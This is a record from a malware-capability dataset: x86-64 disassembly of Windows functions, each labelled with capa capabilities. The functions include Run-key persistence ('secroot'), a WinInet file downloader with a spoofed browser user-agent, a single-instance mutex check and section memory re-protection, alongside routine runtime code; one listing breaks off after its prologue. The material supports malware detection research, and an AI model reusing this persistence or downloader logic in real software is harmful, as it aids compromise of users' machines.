joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140054150
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rax, rdx
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x1400541d0
cmp r11, r10
ja 0x140054247
cmp r10, rdx
ja 0x140054259
add r11, r9
xor r15d, r15d
nop dword [rax + rax]
cmp r14, r15
je 0x1400541d2
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x1400541b0
jmp 0x140054234
ja 0x1400541da
mov r11, r10
cmp rax, r8
jne 0x14005417e
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x140054210
mov rdi, r8
sub ecx, edx
jns 0x14005422b
jmp 0x140054236
cmp r8, rsi
je 0x140054268
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x140054236
xor al, 1
cmp rdi, rsi
jne 0x1400541f0
jmp 0x140054236
xor eax, eax
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14006cb20
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14006c990
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.14006cc20
int3

Function at 0x140058a70
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae 0x140058a95
cmp rax, rcx
je 0x140058a9b
cmp rdx, 4
jae 0x140058a9f
xor eax, eax
xor r8d, r8d
jmp 0x140058b30
pop rbp
jmp fcn.140051920
xor eax, eax
pop rbp
ret
mov r8d, edx
and r8d, 0x1c
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x14006e0e0]
movdqa xmm3, xmmword [0x14006e0b0]
pxor xmm1, xmm1
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x140058ac0
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x140058b47
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x140058b30
pop rbp
ret
Function at 0x1400621d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsp

Function at 0x140068f80
Capabilities:
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov rdi, qword [rsp + 0xd8]
mov r10, rcx
mov rbx, qword [rsp + 0xc8]
test rdi, rdi
cmove rdi, qword [sym.imp.kernel32.dll_CreateProcessA]
test rbx, rbx
jne 0x140068fc1
xorps xmm0, xmm0
lea rbx, [rsp + 0x50]
xor eax, eax
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0xc0]
mov ecx, dword [rsp + 0xa8]
mov qword [rsp + 0x48], rbx
or ecx, 4
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x28], ecx
mov rcx, r10
mov dword [rsp + 0x20], eax
call rdi
test eax, eax
jne 0x14006901d
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
mov rcx, qword [rbx]
lea rdx, [rsp + 0xd8]
mov qword [rsp + 0x80], rsi
mov r8d, 1
mov rsi, qword [rsp + 0xd0]
mov qword [rsp + 0xd8], rsi
call fcn.140069370
test eax, eax
jne 0x140069096
mov ecx, dword [rbx + 0x10]
lea r8, [rsp + 0xd8]
mov r9, rdi
mov qword [rsp + 0xd8], rsi
lea edx, [rax + 1]
call fcn.1400690f0
test eax, eax
jne 0x140069096
mov rcx, qword [rbx]
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_TerminateProcess]
mov rcx, qword [rbx]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbx + 8]
call qword [sym.imp.kernel32.dll_CloseHandle]
xor eax, eax
jmp 0x1400690cc
test byte [rsp + 0xa8], 4
jne 0x1400690aa
mov rcx, qword [rbx + 8]
call qword [sym.imp.kernel32.dll_ResumeThread]
lea rcx, [rsp + 0x50]
cmp rbx, rcx
jne 0x1400690c7
mov rcx, qword [rbx]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbx + 8]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov eax, 1
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
Function at 0x140069a40
Capabilities:
Parse pe header

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0xb0
mov rax, qword [0x14007d080]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
test rdx, rdx
jne 0x140069a73
lea ecx, [rdx + 0x57]
jmp 0x140069b1b
xorps xmm0, xmm0
lea r8, [rsp + 0x30]
mov r9d, 0x30
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.kernel32.dll_VirtualQueryEx]
test rax, rax
je 0x140069b21
mov r9d, 0x40
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x60]
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.kernel32.dll_ReadProcessMemory]
test eax, eax
je 0x140069b21
mov eax, 0x5a4d
cmp word [rsp + 0x60], ax
jne 0x140069b16
movsxd rdx, dword [rsp + 0x9c]
mov eax, edx
cmp rax, qword [rsp + 0x48]
ja 0x140069b16
cmp edx, 0x40
jb 0x140069b16
add rdx, rbx
mov qword [rsp + 0x20], 0
mov r9d, 0xf8
mov r8, rdi
mov rcx, rsi
call qword [sym.imp.kernel32.dll_ReadProcessMemory]
test eax, eax
je 0x140069b21
cmp dword [rdi], 0x4550
jne 0x140069b16
mov eax, 1
jmp 0x140069b23
mov ecx, 0xc1
call qword [sym.imp.kernel32.dll_SetLastError]
xor eax, eax
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.14006ab80
add rsp, 0xb0
pop rdi
pop rsi
pop rbx
ret

Function at 0x14006bb50
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14006bb9a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14006bb9a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14006bb9a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14006bb9a
cmp dword [rcx + 0x84], 0xe
jbe 0x14006bb9a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14006bb9c
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140048810]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140048820]
mov dword [rax], 1
mov rax, qword [0x140048830]
mov dword [rax], 1
mov rax, qword [0x1400487c0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140048800]
mov dword [0x14004b00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400488e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400488c0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140048770]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001494
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp - 0x2c], 0
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x18]
add rax, rdx
mov qword [rbp - 0x18], rax
movabs rax, 0x506c617574726956
mov qword [rbp - 0x3b], rax
movabs rax, 0x746365746f7250
mov qword [rbp - 0x34], rax
lea rax, [0x14000c010]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp - 0x3b]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x20], rax
mov dword [rbp - 4], 0
jmp 0x140001630
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
lea rcx, [rdx + rax]
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
lea rdx, section..rdata
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000162c
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x28]
mov edx, dword [rdx + 8]
mov r10d, edx
mov rdx, qword [rbp - 0x28]
mov edx, dword [rdx + 0xc]
mov ecx, edx
mov rdx, qword [rbp + 0x10]
add rdx, rcx
mov rcx, rdx
lea rdx, [rbp - 0x2c]
mov r9, rdx
mov r8d, 0x40
mov rdx, r10
call rax
mov eax, dword [rbp - 0x2c]
test eax, eax
jne 0x1400015ab
mov eax, 0xffffffff
jmp 0x140001649
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x18]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x10]
add rax, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp - 0x20]
mov ecx, dword [rbp - 0x2c]
mov rdx, qword [rbp - 0x28]
mov edx, dword [rdx + 8]
mov r11d, edx
mov rdx, qword [rbp - 0x28]
mov edx, dword [rdx + 0xc]
mov r8d, edx
mov rdx, qword [rbp + 0x10]
add rdx, r8
mov r10, rdx
lea rdx, [rbp - 0x2c]
mov r9, rdx
mov r8d, ecx
mov rdx, r11
mov rcx, r10
call rax
mov eax, dword [rbp - 0x2c]
test eax, eax
jne 0x140001625
mov eax, 0xffffffff
jmp 0x140001649
mov eax, 0
jmp 0x140001649
add dword [rbp - 4], 1
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 4], eax
jl 0x14000151a
mov eax, 0xffffffff
add rsp, 0x60
pop rbp
ret
Function at 0x14000230a
Capabilities:
Persist via run registry key

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
call sym.initi_hashing__
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x1400023ac
mov r10, qword [0x14004b4e0]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.secroot
mov rcx, rax
call r10
mov dword [rbp - 4], eax
mov rdx, qword [0x14004b558]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
cmp dword [rbp - 4], 0
jne 0x1400023a5
mov eax, 0
jmp 0x1400023b1
mov eax, 1
jmp 0x1400023b1
mov eax, 1
add rsp, 0x40
pop rbp
ret
Function at 0x1400025d4
Capabilities:
Reference http user-agent string
Write file on windows

Disassembly:
push rbp
mov eax, 0x1050
call fcn.1400059c0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xfe0], rcx
mov qword [rbp + 0xfe8], rdx
call sym.wininet_hash__
mov rax, qword [0x14004b568]
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_114.0.0.0_Safari_537.36
call rax
mov qword [rbp + 0xfc8], rax
cmp qword [rbp + 0xfc8], 0
jne 0x140002661
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Error_al_abrir_la_sesin_de_Internet_n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
mov eax, 1
jmp 0x140002810
mov r10, qword [0x14004b4d0]
mov rdx, qword [rbp + 0xfe0]
mov rax, qword [rbp + 0xfc8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
mov rcx, rax
call r10
mov qword [rbp + 0xfc0], rax
cmp qword [rbp + 0xfc0], 0
jne 0x1400026e7
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Error_al_abrir_la_URL_n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
mov rdx, qword [0x14004b598]
mov rax, qword [rbp + 0xfc8]
mov rcx, rax
call rdx
mov eax, 1
jmp 0x140002810
mov rax, qword [rbp + 0xfe8]
lea rdx, [0x14000d536]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xfb8], rax
cmp qword [rbp + 0xfb8], 0
jne 0x14000275e
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Error_al_crear_el_archivo_local_n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
mov rdx, qword [0x14004b598]
mov rax, qword [rbp + 0xfc0]
mov rcx, rax
call rdx
mov rdx, qword [0x14004b598]
mov rax, qword [rbp + 0xfc8]
mov rcx, rax
call rdx
mov eax, 1
jmp 0x140002810
mov dword [rbp + 0xfb4], 0
jmp 0x140002790
mov eax, dword [rbp + 0xfb4]
mov ecx, eax
mov rdx, qword [rbp + 0xfb8]
lea rax, [rbp - 0x50]
mov r9, rdx
mov r8, rcx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov r10, qword [0x14004b590]
lea rcx, [rbp + 0xfb4]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xfc0]
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
call r10
test eax, eax
je 0x1400027cd
mov eax, dword [rbp + 0xfb4]
test eax, eax
je 0x1400027cd
mov eax, 1
jmp 0x1400027d2
mov eax, 0
test al, al
jne 0x14000276a
mov rax, qword [rbp + 0xfb8]
mov rcx, rax
call sym.fclose
mov rdx, qword [0x14004b598]
mov rax, qword [rbp + 0xfc0]
mov rcx, rax
call rdx
mov rdx, qword [0x14004b598]
mov rax, qword [rbp + 0xfc8]
mov rcx, rax
call rdx
mov eax, 0
add rsp, 0x1050
pop rbp
ret
Function at 0x1400028d7
Capabilities:
Check mutex on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov dword [rbp - 4], 0
cmp dword [rbp + 0x10], 1
jne 0x140002948
lea r8, str.GlobalSyncUnit
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov qword [0x14004b5c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
sete al
test al, al
je 0x140002a8d
mov rdx, qword [0x14004b4c0]
mov rax, qword [0x14004b5c8]
mov rcx, rax
call rdx
mov dword [rbp - 4], 1
jmp 0x140002a8d
cmp dword [rbp + 0x10], 2
jne 0x1400029ad
lea r9, str.GlobalSyncUnit
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [0x14004b5c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
sete al
test al, al
je 0x140002a8d
mov rdx, qword [0x14004b4c0]
mov rax, qword [0x14004b5c8]
mov rcx, rax
call rdx
mov dword [rbp - 4], 1
jmp 0x140002a8d
cmp dword [rbp + 0x10], 3
jne 0x140002a0f
lea r9, str.GlobalSyncUnit
mov r8d, 0x64
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
call rax
mov qword [0x14004b5c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
sete al
test al, al
je 0x140002a8d
mov rdx, qword [0x14004b4c0]
mov rax, qword [0x14004b5c8]
mov rcx, rax
call rdx
mov dword [rbp - 4], 1
jmp 0x140002a8d
cmp dword [rbp + 0x10], 4
jne 0x140002a8d
mov rax, qword [0x14004b5b8]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0x400
mov r9d, 0xff
mov r8d, 4
mov edx, 3
lea rcx, str..pipeSyncUnit
call rax
mov qword [0x14004b5c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
sete al
test al, al
je 0x140002a8d
mov rdx, qword [0x14004b4c0]
mov rax, qword [0x14004b5c8]
mov rcx, rax
call rdx
mov dword [rbp - 4], 1
mov eax, dword [rbp - 4]
add rsp, 0x50
pop rbp
ret

Function at 0x140002b64
Capabilities:
Create directory
Get common file path

Disassembly:
push rbp
mov eax, 0xfc30
call fcn.1400059c0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xfbc0], rcx
mov byte [rbp + 0xfbaf], 0
lea rax, [rbp + 0xfaa0]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x1c
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
lea rdx, [rbp + 0xfaa0]
lea rax, [rbp + 0xf990]
mov r8, rdx
lea rdx, str._sMicrosoft
mov rcx, rax
call sym.sprintf_char__char_const__::_
mov rcx, qword [rbp + 0xfbc0]
lea rdx, [rbp + 0xf990]
lea rax, [rbp - 0x50]
mov r9, rcx
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp - 0x50]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
test eax, eax
jne 0x140002c23
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
jne 0x140002c2a
mov eax, 1
jmp 0x140002c2f
mov eax, 0
test al, al
je 0x140002c3c
mov byte [rbp + 0xfbaf], 1
jmp 0x140002c43
mov byte [rbp + 0xfbaf], 0
nop
add rsp, 0xfc30
pop rbp
ret
Function at 0x140004c20
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140004c90
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14004b974]
mov rbx, rcx
test esi, esi
jle 0x140004dc0
mov rax, qword [0x14004b978]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140004cdb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140004d65
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140004cc0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140004de2
mov rax, qword [0x14004b978]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14004b978]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140004dc7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140004d5e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140004d70
add dword [0x14004b974], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14004b978]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140004d5e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140004ce8
mov rax, qword [0x14004b978]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140005350
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14004b9e0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14004b9c0]
test rbx, rbx
je 0x1400053ac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400053a3
test rsi, rsi
je 0x1400053a3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140005388
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400055c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400055d8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400055e0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400055f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000563d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140005634
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000563f
add rax, 0x28
cmp rax, r9
jne 0x140005620
xor eax, eax
ret

Function at 0x140005640
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400056d0
mov rdx, qword [0x1400487c0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400056be
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400056be
cmp word [rax + 0x18], 0x20b
jne 0x1400056be
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400056d0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400056a9
add rbx, 0x28
cmp rbx, rdi
je 0x1400056d0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400056a0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400056e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400487c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140005700
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140005708
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140005700
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000575d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140005754
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140005700
add rax, 0x28
cmp rax, r9
jne 0x140005740
xor eax, eax
ret

Function at 0x140005760
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400487c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000577f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140005788
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000577f
movzx ecx, word [rax + 6]
mov eax, ecx
ret